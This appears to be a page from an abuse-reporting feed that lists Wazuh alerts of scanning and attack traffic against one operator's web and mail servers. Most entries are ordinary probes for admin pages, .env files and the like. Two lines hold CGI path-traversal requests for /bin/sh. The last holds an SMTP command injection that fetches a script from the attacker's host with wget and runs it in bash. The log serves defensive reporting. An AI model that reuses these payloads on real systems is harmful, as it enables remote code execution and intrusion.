๐ง๐ท
167.250.224.25
11 minutes ago
Wazuh Alert Evidence: 167.250.224.25 - - [17/Sep/2026:18:25:37 +0000] "GET /admin/config.php HTTP/1. ...
show more
Wazuh Alert Evidence: 167.250.224.25 - - [17/Sep/2026:18:25:37 +0000] "GET /admin/config.php HTTP/1.0" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"
show less
Web App Attack
๐บ๐ธ
66.132.172.201
26 minutes ago
Wazuh Alert Evidence: 66.132.172.201 - - [17/Sep/2026:18:10:18 +0000] "GET / HTTP/1.1" 444 0 "-" "Mo ...
show more
Wazuh Alert Evidence: 66.132.172.201 - - [17/Sep/2026:18:10:18 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
show less
Web App Attack
๐ณ๐ฑ
209.38.96.38
48 minutes ago
Wazuh Alert Evidence: 209.38.96.38 - - [17/Sep/2026:17:48:31 +0000] "GET / HTTP/1.1" 444 0 "-" "CGra ...
show more
Wazuh Alert Evidence: 209.38.96.38 - - [17/Sep/2026:17:48:31 +0000] "GET / HTTP/1.1" 444 0 "-" "CGrab/v8.12.0" "-"
show less
Web App Attack
๐ณ๐ฑ
94.102.56.99
55 minutes ago
Wazuh Alert Evidence: 94.102.56.99 - - [17/Sep/2026:17:41:52 +0000] "GET /html/ie.html HTTP/1.1" 404 ...
show more
Wazuh Alert Evidence: 94.102.56.99 - - [17/Sep/2026:17:41:52 +0000] "GET /html/ie.html HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" "-"
show less
Web App Attack
๐ฉ๐ช
34.32.78.63
1 hour ago
Wazuh Alert Evidence: 2026/09/17 17:28:17 [error] 745459#745459: *20198 access forbidden by rule, cl ...
show more
Wazuh Alert Evidence: 2026/09/17 17:28:17 [error] 745459#745459: *20198 access forbidden by rule, client: 34.32.78.63, server: ms1.bitstreetx.info, request: "GET / HTTP/1.1", host: "ms1.bitstreetx.info"
show less
Web App Attack
๐ง๐ช
34.140.234.80
1 hour ago
Wazuh Alert Evidence: 34.140.234.80 - - [17/Sep/2026:17:24:18 +0000] "GET / HTTP/2.0" 444 0 "-" "Moz ...
show more
Wazuh Alert Evidence: 34.140.234.80 - - [17/Sep/2026:17:24:18 +0000] "GET / HTTP/2.0" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "-"
show less
Web App Attack
๐ฌ๐ง
84.32.41.248
1 hour ago
Wazuh Alert Evidence: 84.32.41.248 - 1J2cRELGF3sjbu1hMDb1e8dXq2yqeSJMw [17/Sep/2026:17:10:42 +0000] ...
show more
Wazuh Alert Evidence: 84.32.41.248 - 1J2cRELGF3sjbu1hMDb1e8dXq2yqeSJMw [17/Sep/2026:17:10:42 +0000] "POST / HTTP/1.1" 405 568 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36" "-"
show less
Web App Attack
๐บ๐ธ
66.132.172.222
1 hour ago
Wazuh Alert Evidence: 66.132.172.222 - - [17/Sep/2026:16:48:46 +0000] "GET / HTTP/1.1" 444 0 "-" "Mo ...
show more
Wazuh Alert Evidence: 66.132.172.222 - - [17/Sep/2026:16:48:46 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
show less
Web App Attack
๐บ๐ธ
66.132.172.131
1 hour ago
Wazuh Alert Evidence: 66.132.172.131 - - [17/Sep/2026:16:48:44 +0000] "PRI * HTTP/2.0" 400 166 "-" " ...
show more
Wazuh Alert Evidence: 66.132.172.131 - - [17/Sep/2026:16:48:44 +0000] "PRI * HTTP/2.0" 400 166 "-" "-" "-"
show less
Web App Attack
๐บ๐ธ
66.132.172.139
1 hour ago
Wazuh Alert Evidence: 66.132.172.139 - - [17/Sep/2026:16:41:49 +0000] "GET / HTTP/1.1" 444 0 "-" "Mo ...
show more
Wazuh Alert Evidence: 66.132.172.139 - - [17/Sep/2026:16:41:49 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
show less
Web App Attack
๐น๐ผ
125.228.72.220
2 hours ago
Wazuh Alert Evidence: 125.228.72.220 - - [17/Sep/2026:16:33:40 +0000] "GET /.env HTTP/1.1" 444 0 "-" ...
show more
Wazuh Alert Evidence: 125.228.72.220 - - [17/Sep/2026:16:33:40 +0000] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-"
show less
Web App Attack
๐ฉ๐ช
196.251.121.140
2 hours ago
Wazuh Alert Evidence: Sep 17 16:02:47 ms2.bitstreetx.info postfix/smtpd[172720]: NOQUEUE: reject: RC ...
show more
Wazuh Alert Evidence: Sep 17 16:02:47 ms2.bitstreetx.info postfix/smtpd[172720]: NOQUEUE: reject: RCPT from unknown[196.251.121.140]: 550 5.7.25 Client host rejected: cannot find your hostname, [196.251.121.140]; from=<[email protected] > to=<[email protected] > proto=ESMTP helo=<[196.251.121.140]>
show less
Hacking
๐น๐ท
94.154.43.196
2 hours ago
Wazuh Alert Evidence: 94.154.43.196 - - [17/Sep/2026:16:01:29 +0000] "GET / HTTP/1.1" 444 0 "-" "Moz ...
show more
Wazuh Alert Evidence: 94.154.43.196 - - [17/Sep/2026:16:01:29 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0" "-"
show less
Web App Attack
๐บ๐ธ
47.251.105.60
2 hours ago
Wazuh Alert Evidence: 47.251.105.60 - - [17/Sep/2026:15:59:08 +0000] "GET / HTTP/2.0" 444 0 "-" "Go- ...
show more
Wazuh Alert Evidence: 47.251.105.60 - - [17/Sep/2026:15:59:08 +0000] "GET / HTTP/2.0" 444 0 "-" "Go-http-client/2.0" "-"
show less
Web App Attack
๐บ๐ธ
184.105.247.195
2 hours ago
Wazuh Alert Evidence: 184.105.247.195 - - [17/Sep/2026:15:43:21 +0000] "GET / HTTP/1.1" 444 0 "-" "M ...
show more
Wazuh Alert Evidence: 184.105.247.195 - - [17/Sep/2026:15:43:21 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" "-"
show less
Web App Attack
๐บ๐ธ
170.101.96.37
2 hours ago
Wazuh Alert Evidence: 170.101.96.37 - - [17/Sep/2026:15:37:16 +0000] "GET /.vscode/sftp.json HTTP/1. ...
show more
Wazuh Alert Evidence: 170.101.96.37 - - [17/Sep/2026:15:37:16 +0000] "GET /.vscode/sftp.json HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" "-"
show less
Web App Attack
๐ฎ๐ณ
106.51.22.217
3 hours ago
Wazuh Alert Evidence: 106.51.22.217 - - [17/Sep/2026:15:30:41 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/. ...
show more
Wazuh Alert Evidence: 106.51.22.217 - - [17/Sep/2026:15:30:41 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 166 "-" "-" "-"
show less
Web App Attack
๐ณ๐ฑ
81.19.216.120
3 hours ago
Wazuh Alert Evidence: Sep 17 15:05:13 ms2.bitstreetx.info postfix/smtpd[172091]: warning: hostname 1 ...
show more
Wazuh Alert Evidence: Sep 17 15:05:13 ms2.bitstreetx.info postfix/smtpd[172091]: warning: hostname 120.216.19.81.baremetal.zare.com does not resolve to address 81.19.216.120: No address associated with hostname
show less
Hacking
๐บ๐ธ
184.58.95.109
3 hours ago
Wazuh Alert Evidence: 184.58.95.109 - - [17/Sep/2026:14:49:49 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/. ...
show more
Wazuh Alert Evidence: 184.58.95.109 - - [17/Sep/2026:14:49:49 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 166 "-" "-" "-"
show less
Web App Attack
๐จ๐ญ
93.152.209.5
4 hours ago
Wazuh Alert Evidence: 93.152.209.5 - - [17/Sep/2026:14:13:34 +0000] "GET / HTTP/2.0" 444 0 "-" "Mozi ...
show more
Wazuh Alert Evidence: 93.152.209.5 - - [17/Sep/2026:14:13:34 +0000] "GET / HTTP/2.0" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" "-"
show less
Web App Attack
๐ท๐บ
45.91.64.7
4 hours ago
Wazuh Alert Evidence: 45.91.64.7 - - [17/Sep/2026:13:46:32 +0000] "GET /aaa9 HTTP/1.1" 444 0 "-" "Mo ...
show more
Wazuh Alert Evidence: 45.91.64.7 - - [17/Sep/2026:13:46:32 +0000] "GET /aaa9 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
show less
Web App Attack
๐ท๐บ
45.91.64.6
4 hours ago
Wazuh Alert Evidence: 45.91.64.6 - - [17/Sep/2026:13:46:20 +0000] "GET / HTTP/1.1" 400 264 "-" "fast ...
show more
Wazuh Alert Evidence: 45.91.64.6 - - [17/Sep/2026:13:46:20 +0000] "GET / HTTP/1.1" 400 264 "-" "fasthttp" "-"
show less
Web App Attack
๐ท๐บ
31.184.195.248
4 hours ago
Wazuh Alert Evidence: 31.184.195.248 - - [17/Sep/2026:13:46:06 +0000] "GET / HTTP/1.0" 400 264 "-" " ...
show more
Wazuh Alert Evidence: 31.184.195.248 - - [17/Sep/2026:13:46:06 +0000] "GET / HTTP/1.0" 400 264 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1" "-"
show less
Web App Attack
๐ญ๐ฐ
20.24.86.237
5 hours ago
Wazuh Alert Evidence: 20.24.86.237 - - [17/Sep/2026:13:35:27 +0000] "GET /wp-content/plugins/hellopr ...
show more
Wazuh Alert Evidence: 20.24.86.237 - - [17/Sep/2026:13:35:27 +0000] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 162 "-" "-" "-"
show less
Web App Attack
๐ต๐ฑ
195.58.137.126
5 hours ago
Wazuh Alert Evidence: Sep 17 13:24:40 ms2.bitstreetx.info postfix/smtpd[171278]: warning: Illegal ad ...
show more
Wazuh Alert Evidence: Sep 17 13:24:40 ms2.bitstreetx.info postfix/smtpd[171278]: warning: Illegal address syntax from unknown[195.58.137.126] in MAIL command: <invalid_address: Service status change: localhost $(wget${IFS}-O${IFS}-${IFS}http://195.58.137.126:25/bUDahfuAABFUXbGlMZ|bash) changed from stopped to running>
show less
Hacking